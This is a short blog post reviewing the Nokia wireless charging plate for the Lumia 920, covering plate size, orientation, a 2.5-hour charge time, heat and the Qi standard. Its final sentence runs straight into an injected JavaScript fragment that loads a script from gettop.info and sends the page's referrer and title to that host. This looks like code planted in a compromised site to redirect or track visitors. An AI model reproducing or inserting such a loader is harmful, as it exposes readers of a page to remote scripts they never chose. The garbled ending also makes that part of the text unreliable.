Monthly Archives: December 2012

Nokia Inductive Charger

Strangely enough, one of the “sell points” for me on the Lumia 920 was the wireless charging feature. It’s not as though you gain a lot by not having to plug in the micro USB but you do pick up the unique factor.  For clarity, I got the Nokia wireless charging plateIMG_0994[1] in the easy to find color of yellow. After using the charger for a few months here are my reactions:

  • The plate is a little small for the phone. The plate is 120mm vs. the phone length of 130.3mm. It doesn’t want to fall off but may feel a bit more stable if the lengths matched.
  • Like others, I attempted to charge the phone with the unit upside down. Be sure to have Nokia label up when charging.
  • The charge time is a bit longer and the phone does tend to get pretty warm through the process. It takes about 2.5 hours to go from dead battery to full charge.
  • They do use the Qi inductive charging standard so there should be additional options as the technology rolls out.
  • The phone resumes charging when placed within about a 1 inch radius.

All in all I think this is a nice marketing piece and does provide some convenience but nothing that should be considered too highly when making your next phone choice.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;